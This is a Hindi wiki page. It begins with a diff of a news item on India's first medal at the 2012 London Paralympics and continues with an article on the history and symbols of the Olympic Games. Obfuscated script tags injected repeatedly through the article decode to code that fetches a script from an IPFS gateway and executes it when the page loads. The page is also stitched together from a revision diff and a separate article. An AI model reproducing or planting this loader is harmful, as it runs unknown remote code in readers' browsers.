[[लंदन]] में चल रहे 2012 के पैरालम्पिक खेलों में गिरीश होसंगारा नागराजेगौड़ा ने [[भारत]] को पहला पदक दिलाया है। पुरुषों की ऊंची कूद प्रतिस्पर्धा में गिरीश ने पहला रजत पदक जीता। 24 साल के गिरीश [[कर्नाटक]] के रहने वाले हैं। उन्होंने फ़ाइनल में सिजर्स तकनीक के सहारे 1.74 मीटर की कूद लगाई और दूसरे स्थान पर रहे। क़रीब 80 हज़ार दर्शकों की मौजूदगी में उन्होंने ये पदक बाएँ पैर ख़राब होने के बावजूद जीता और दूसरे नंबर पर रहे। इस आयोजन में फिजी के इलीसा डेलेना ने स्वर्ण पदक जीता जबकि पोलैंड के लुकाज़ मैमक्राज ने कांस्य अपने नाम किया। गौरतलब है कि भारत की दस सदस्यीय टीम लंदन में 29 अगस्त से 9 सितंबर तक होने वाले पैरालम्पिक खेलों में हिस्सा ले रही है। भारतीय टीम एथलेटिक्स, पावरलिफ्टिंग, तैराकी व निशानेबाज़ी में हिस्सा ले रही है।
 
====समाचार को विभिन्न स्रोतों पर पढ़ें====
 
*[http://zeenews.india.com/hindi/news/%E0%A4%96%E0%A5%87%E0%A4%B2-%E0%A4%96%E0%A4%BF%E0%A4%B2%E0%A4%BE%E0%A4%A1%E0%A4%BC%E0%A5%80/%E0%A4%B2%E0%A4%82%E0%A4%A6%E0%A4%A8-%E0%A4%AA%E0%A5%88%E0%A4%B0%E0%A4%BE%E0%A4%B2%E0%A4%82%E0%A4%AA%E0%A4%BF%E0%A4%95-%E0%A4%AE%E0%A5%87%E0%A4%82-%E0%A4%AD%E0%A4%BE%E0%A4%B0%E0%A4%A4-%E0%A4%95%E0%A4%BE-%E0%A4%96%E0%A5%81%E0%A4%B2%E0%A4%BE-%E0%A4%96%E0%A4%BE%E0%A4%A4%E0%A4%BE-%E0%A4%B9%E0%A5%8B%E0%A4%B8%E0%A4%A8%E0%A4%BE%E0%A4%97%E0%A4%B0%E0%A4%BE-%E0%A4%A8%E0%A4%BE%E0%A4%97%E0%A4%B0%E0%A4%BE%E0%A4%9C%E0%A5%87%E0%A4%97%E0%A5%8B%E0%A4%A1%E0%A4%BE-%E0%A4%A8%E0%A5%87-%E0%A4%9C%E0%A5%80%E0%A4%A4%E0%A4%BE-%E0%A4%B8%E0%A4%BF%E0%A4%B2%E0%A5%8D%E0%A4%B5%E0%A4%B0-%E0%A4%AE%E0%A5%87%E0%A4%A1%E0%A4%B2/146616 ज़ी न्यूज़]
 
*[http://khabar.ibnlive.in.com/news/80824/4/33 आईबीएन ख़बर]
 
*[http://aajtak.intoday.in/story.php/content/view/707206/9/79/India-win-first-medal-at-the-London-2012-Paralympic-Games.html आज तक]
 
 
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
  
 +
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
*[http://www.bbc.co.uk/hindi/sport/2012/01/120117_olympics_history_pp.shtml ओलंपिक का इतिहास]
+
*[http://www.bbc.co.uk/hindi/sport/2012/01/120117_olympics_history_pp.shtml ओलम्पिक का इतिहास]
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{खेल}}
 
{{खेल}}
[[Category:खेल]]
+
[[Category:ओलम्पिक खेल]][[Category:खेल]][[Category:खेलकूद कोश]]
[[Category:खेलकूद कोश]]
 
[[Category:ओलम्पिक खेल]]
 
[[Category:समाचार जगत]]
 
 
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

11:17, 5 जुलाई 2017 के समय का अवतरण

ओलम्पिक खेल
ओलम्पिक का प्रतीक चिह्न
विवरण ओलम्पिक खेल अन्तर्राष्ट्रीय स्तर पर आयोजित होने वाली बहु-खेल प्रतियोगिता है।
सर्वोच्च नियंत्रण निकाय अन्तर्राष्ट्रीय ओलम्पिक समिति (आईओसी या IOC)
शुरुआत सन 1896 में (एथेंस)
प्रकार ग्रीष्मकालीन ओलम्पिक खेल, शीतकालीन ओलम्पिक खेल, पैरालम्पिक खेल
संबंधित लेख ओलम्पिक 2016, एशियाई खेल
अन्य जानकारी प्राचीन ओलम्पिक में मुक्केबाज़ी, कुश्ती, घुड़सवारी के खेल खेले जाते थे। खेल के विजेता को कविता और मूर्तियों के जरिए प्रशंसित किया जाता था। हर चार साल पर होने वाले ओलम्पिक खेल के वर्ष को ओलंपियाड के नाम से भी जाना जाता था।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ओलम्पिक खेल (अंग्रेज़ी:Olympic Games) अन्तर्राष्ट्रीय स्तर पर आयोजित होने वाली बहु-खेल प्रतियोगिता है। आधुनिक ओलम्पिक खेल एथेंस में सन 1896 में आरम्भ किये गये। इन खेलों में भारत स्वर्ण पदक भी जीत चुका है। वर्ष 1896 में पहली बार आधुनिक ओलम्पिक खेलों का आयोजन ग्रीस (यूनान) की राजधानी एथेंस में हुआ था। ओलम्पिक खेल प्रत्येक चार वर्ष बाद विश्व के किसी प्रसिद्ध स्थान पर आयोजित किये जाते हैं। सन 2008 के ओलम्पिक खेल चीन के बीजिंग तथा सन 2012 के ओलम्पिक खेल ब्रिटेन के लंदन में आयोजित किए गए।

ओलम्पिक का इतिहास

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्राचीन काल में शांति के समय योद्धाओं के बीच प्रतिस्पर्धा के साथ खेलों का विकास हुआ। दौड़, मुक्केबाजी, कुश्ती और रथों की दौड़ सैनिक प्रशिक्षण का हिस्सा हुआ करते थे। इनमें से सबसे बेहतर प्रदर्शन करने वाले योद्धा प्रतिस्पर्धी खेलों में अपना दमखम दिखाते थे। समाचार एजेंसी ‘आरआईए नोवोस्ती’ के अनुसार प्राचीन ओलम्पिक खेलों का आयोजन 1200 साल पूर्व योद्धा-खिलाड़ियों के बीच हुआ था। हालांकि ओलम्पिक का पहला आधिकारिक आयोजन 776 ईसा पूर्व में हुआ था, जबकि आखिरी बार इसका आयोजन 394 ईस्वी में हुआ। इसके बाद रोम के सम्राट थियोडोसिस ने इसे मूर्तिपूजा वाला उत्सव करार देकर इस पर प्रतिबंध लगा दिया गया। इसके बाद लगभग डेढ़ सौ सालों तक इन खेलों को भुला दिया गया। हालांकि मध्यकाल में अभिजात्य वर्गों के बीच अलग-अलग तरह की प्रतिस्पर्धाएं होती रहीं। लेकिन इन्हें खेल आयोजन का दर्जा नहीं मिल सका। कुल मिलाकर रोम और ग्रीस जैसी प्रभुत्वादी सभ्यताओं के अभाव में इस काल में लोगों के पास खेलों के लिए समय नहीं था। 19वीं शताब्दी में यूरोप में सर्वमान्य सभ्यता के विकास के साथ पुरातन काल की इस परंपरा को फिर से जिंदा किया गया। इसका श्रेय फ्रांस के अभिजात पुरुष बैरों पियरे डी कुवर्तेन को जाता है। कुवर्तेन ने दो लक्ष्य रखे, एक तो खेलों को अपने देश में लोकप्रिय बनाना और दूसरा, सभी देशों को एक शांतिपूर्ण प्रतिस्पर्धा के लिए एकत्रित करना। कुवर्तेन मानते थे कि खेल युद्धों को टालने के सबसे अच्छे माध्यम हो सकते हैं। कुवर्तेन की इस परिकल्पना के आधार पर वर्ष 1896 में पहली बार आधुनिक ओलम्पिक खेलों का आयोजन ग्रीस (यूनान) की राजधानी एथेंस में हुआ। शुरुआती दशक में ओलम्पिक आंदोलन अपने अस्तित्व को बचाने के लिए संघर्ष करता रहा क्योंकि कुवर्तेन की इस परिकल्पना को किसी भी बड़ी शक्ति का साथ नहीं मिल सका था।

प्रतीक

ओलम्पिक वलय

एक-दूसरे से जुड़े हुए 5 वलय (Rings) पांच महाद्वीपों, उत्तरी अमेरिका तथा दक्षिणी अमेरिका को एक ही वलय (रिंग) में दर्शाया गया है, ओलम्पिक के प्रतीक हैं। यह खेलों के माध्यम से सभी महाद्वीपों के लोगों को एकता के सूत्र में पिरोने का प्रतीक हैं। नीले, पीले, काले, हरे और लाल रंग के ये 5 वलय एक दूसरे में गुंथे हुए हैं। इसे आधुनिक ओलम्पिक के संस्थापक पियरे बारोन डे कुबेर्टिन ने बनाया था। ये पांच घेरे उत्साह, आस्था, विजय, काम की नैतिकता और खेल भावना को दिखाते हैं। पहली बार साल 1920 के एंटवर्प ओलम्पिक खेलों में इन्हें आधिकारिक तौर पर प्रयोग में लाया गया, लेकिन 1936 के ओलम्पिक खेलों में बड़े पैमाने पर इसका उपयोग होने से इसे ज्यादा लोकप्रियता मिलनी शुरू हुई।

ओलम्पिक ध्वज

ओलम्पिक ध्वज

प्रत्येक ओलम्पिक खेलों के समापन समारोह के दौरान मेजबान शहर की तरफ से अगले आयोजित शहर को ओलम्पिक ध्वज प्रदान किया जाता है। पहली बार 1920 के ग्रीष्मकालीन ओलम्पिक खेलों में बेल्जियम के शहर एंटवर्प की तरफ से अंतर्राष्ट्रीय ओलम्पिक संघ को ओलम्पिक ध्वज दिया गया। खेलों की समाप्ति पर ये ध्वज नहीं मिल सका और इसलिए 1924 के ओलम्पिक खेलों के लिए दोबारा ध्वज बनाया गया, लेकिन फिर भी इसे 'एंटवर्प ध्वज' कहा गया और उसके बाद से ये अगले आयोजित शहर को दिया जाने लगा। ओलम्पिक ध्वज में श्वेत पृष्ठभूमि पर 5 रंगीन छल्ले यानि ओलम्पिक वलय को दर्शाया जाता है और यह ध्वज खेल के सभी समारोहों में फहराया जाता है। इस ध्वज में

  1. नीले रंग का वलय यूरोप को प्रदर्शित करता है।  
  2. काले रंग का वलय अफ़्रीका को प्रदर्शित करता है।
  3. लाल रंग का वलय अमेरिका को प्रदर्शित करता है
  4. पीले रंग का वलय एशिया को प्रदर्शित करता है
  5. हरे रंग का वलय ऑस्ट्रेलिया को प्रदर्शित करता है

ओलम्पिक मशाल

ओलम्पिक ज्वाला या मशाल ओलम्पिक खेलों का एक प्रतीक है। बहुत समय पहले ओलम्पिया, ग्रीस में प्राचीन ओलम्पिक के आयोजन के समय खेलों के सफलतापूर्वक समापन के लिए अग्नि देवता की प्रार्थना की गई थी तथा एक मशाल भी जलाई गई थी। यह परंपरा आज भी जारी है। हर बार के खेलों के लिए नई मशाल बनायी जाती है। ओलम्पिक खेलों की प्रतीक मशाल की लौ पवित्र मानी जाती है, क्योंकि सूर्य की किरणों को लेंस से गुजारकर अग्नि प्रज्जवलित होती है, जो मशाल को रोशन करती है। इसे फिर कलश में रखा जाता है और फिर इसे उस स्टेडियम में ले जाया जाता है जहां पहली बार ओलम्पिक खेल हुए थे। यह मशाल ओलम्पिक खेलों के आगाज से पहले अपनी यात्रा खत्म कर मेजबान शहर में पहुंचती है। आधुनिक ओलम्पिक की बात करें तो 1936 के बर्लिन ओलम्पिक में पहली बार मशाल यात्रा शुरू हुई। 1952 के ओस्लो ओलम्पिक में मशाल ने पहली बार हवाई मार्ग से यात्रा की। 1956 के स्कॉटहोम ओलम्पिक में घोड़े की पीठ पर शाल यात्रा सम्पन्न की गई। सन 1960 के रोम ओलम्पिक में पहली बार मशाल यात्रा का टेलीविजन प्रसारण हुआ। इस बार इसमें मीडिया ने भी दिलचस्पी दिखाई। 1968 के मैक्सिको ओलम्पिक में मशाल को समुद्र के रास्ते ले जाया गया। 1976 के मांट्रियल ओलम्पिक में कनाडा ने एथेंस से ओटावा तक मशाल के सफर का सेटेलाइट प्रसारण किया। 1994 के लिलेहैमर शीतकालीन खेलों के दौरान पैराजंपरों ने पहली बार हवा में मशाल का आदान-प्रदान किया। 2000 के सिडनी ओलम्पिक में तो मशाल को ग्रेट बैरियर रीफ के पास समुद्र की गहराइयों में उतारा गया।

ओलम्पिक शुभंकर

ओलम्पिक शुभंकर 'मांडेविल्ले'

शुभंकर का अर्थ होता है कल्याणकारी। शुभंकर खेलों के प्रतिनिधि होते हैं और प्रतियोगियों और दर्शकों में उत्साह लाते हैं। इंसान या जानवर की आकृति वाला यह शुभंकर मेजबान देश की सांस्कृतिक धरोहर को दर्शाता है। ओलम्पिक खेलों का पहला शुभंकर 1968 के ओलम्पिक के दौरान आया, हालांकि ये अनाधिकारिक था। आधिकारिक रूप से ओलम्पिक खेलों का पहला शुभंकर 1972 के खेलों में शामिल हुआ। लंदन में 2012 में होने वाले ओलम्पिक खेलों का शुभंकर 'वेनलॉक’ और पैरालंपिक खेलों का ‘मांडेविल्ले' को चुना गया। इस शुभंकर को बोल्टोन के एक कारखाने में इस्पात की दो बूंदों से बनाया गया है। इसमें एक ही आंख है, जो कैमरे के लैंस की जैसी दिखती है। वेनलॉक नाम, वेनलॉक शहर के नाम पर रखा गया, जहां 19 वीं शताब्दी में वेनलॉक खेलों का आयोजन किया गया था। आधुनिक ओलम्पिक खेलों के लिए यह आयोजन एक बड़ा प्रेरणास्रोत बना था। जबकि मांडेविल्ले नाम बकिंघमशायर के स्टॉक मांडेविल्ले के नाम पर रखा गया है, जहां पहले पैरालंपिक खेल हुए थे। वेनलॉक के सबसे ऊपर एक हेड लाईट लगी है जो लंदन की काली टैक्सियों की लाइट्स से प्रेरित है। इसके चेहरे का आकार ओलम्पिक स्टेडियम की छत का है, जबकि इसके सिर का आकार ओलम्पिक खेलों में जीते जाने वाले 3 मेडल्स को दिखाता है। कैमरे के लेंस की तरह दिखती इसकी एक आँख दिखाई देने वाली सभी चीजों को कैप्चर करने के लिए है। इसके दोनों हाथों में ओलम्पिक रिंग्स ब्रेसलेट की तरह बंधे हैं। जबकि इसके शरीर पर ओलम्पिक का लोगो (प्रतीक) छपा है। वेनलॉक की तरह ही मांडेविल्ले के सबसे ऊपर लंदन की काली टैक्सियों की लाइट्स से प्रेरित एक हेड लाईट और दिखाई देने वाली सभी चीजों को कैप्चर करने के लिए कैमरे के लेंस की तरह दिखती एक आँख है। हेलमेट की तरह के इसके सिर में पैरालंपिक खेलों के तीन रंग दिखाई देते हैं। इसके हाथ में गुलाबी रंग की घड़ी भी है।

ओलम्पिक शुभंकर 'वेनलॉक'

आदर्श वाक्य

आदर्श वाक्य, जीवन का बहुत गूढ़ दर्शन प्रस्तुत करता है। जीवन की आचार संहिता का पालन करने के लिए प्रेरित करने वाला एक कथन है आदर्श वाक्य। ओलम्पिक्स आदर्श वाक्य तीन लैटिन शब्दों से बना है, जो हैं- सिटिअस-अल्टिअस-फॉरटिअस (Citius- Altius- Fortius)। इन शब्दों का अर्थ है- तेज़-उच्चतर-मजबूत। ये तीन शब्द खिलाड़ियों में उत्साह भरते हैं। खेल प्रतिभागी अपना सबसे अच्छा प्रदर्शन करने के लिए प्रेरित होते हैं। इसे अच्छी तरह समझने के लिए हम ओलम्पिक के सिद्धांत से इसकी तुलना कर सकते हैं। जीवन में सबसे महत्वपूर्ण बात जीतना नहीं, बल्कि लड़ना है, ज़रूरी यह नहीं की आप जीते हैं, ज़रूरी ये है कि आप अच्छी तरह खेले। ओलम्पिक वाक्य और सिद्धांत एक साथ इस तरफ़ इशारा करते हैं कि कुबेर्टिन ने जीवन जीने के महत्वपूर्ण सबक पर विश्वास किया और उसे आगे बढ़ाया।[1]

ओलम्पिक आयोजन

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

एथेंस (1896)

पहले आधुनिक ओलम्पिक खेल यूनान की राजधानी एथेंस में 1896 में आयोजित किए गए। एक बार तो ऐसा लगा कि वित्तीय समस्याओं के कारण एथेंस से ये खेल निकलकर हंगरी की राजधानी बुडापेस्ट चले जाएँगे। पहले यह तय हुआ था कि पहले आधुनिक ओलम्पिक खेल 1900 में पेरिस में आयोजित होंगे, लेकिन चार साल पहले ही ओलम्पिक खेलों के आयोजन के लिए एथेंस को चुना गया, हालाँकि खेल शुरू होने से पहले ही यूनान गंभीर वित्तीय संकट में फँस गया था। उस साल हंगरी अपनी हज़ारवीं सालगिरह मनाने की तैयारी रहा था और उसने यूनान की जगह अपने यहाँ ओलम्पिक आयोजित कराने की पेशकश की। लेकिन ऐसा हुआ नहीं, यूनान के राजकुमार ने ओलम्पिक आयोजन समिति का गठन किया और उसके बाद समिति को बड़ी मात्रा में सहायता राशि मिली। पहले आधुनिक ओलम्पिक खेलों में सिर्फ़ 14 देशों के 200 लोगों ने 43 मुक़ाबलों में हिस्सा लिया। ज़्यादातर मुक़ाबलों में मेजबान देश के खिलाड़ियों ने हिस्सा लिया। प्रमुख मुक़ाबलों में शामिल थे- टेनिस, ट्रैक एंड फ़ील्ड, भारोत्तोलन, साइकिलिंग, कुश्ती, तीरंदाज़ी, तैराकी और जिम्नास्टिक. क्रिकेट और फ़ुटबॉल प्रतियोगिताएँ इसलिए रद्द कर दीं गईं, क्योंकि इन मुक़ाबलों में हिस्सा लेने वाली टीमों की कमी थी। मुक़ाबले में जीतने वालों को सिल्वर मेडल, एक प्रमाणपत्र और ओलिव के पत्ते दिए जाते थे। दूसरे नंबर पर आने वाले खिलाड़ियों को काँस्य पदक दिए जाते थे, जबकि तीसरे नंबर पर आने वाले खिलाड़ियों को ख़ाली हाथ लौटना पड़ता था। पहले ओलम्पिक पदक विजेता बनें अमरीका के जेम्स ब्रेंडन कोनोली। उन्होंने ट्रिपल जंप में 13.71 मीटर छलांग लगाकर जीत हासिल की थी। यूनानी लोगों के ज़बरदस्त उत्साह के कारण पहले आधुनिक ओलम्पिक खेलों को काफ़ी सफल आयोजन माना गया।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. ओलम्पिक प्रतीक (हिंदी) रफ़्तार डॉट इन। अभिगमन तिथि: 18 अगस्त, 2013।
  2. ओलम्पिक का इतिहास (हिंदी) bbc.com। अभिगमन तिथि: 06 अगस्त, 2016।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>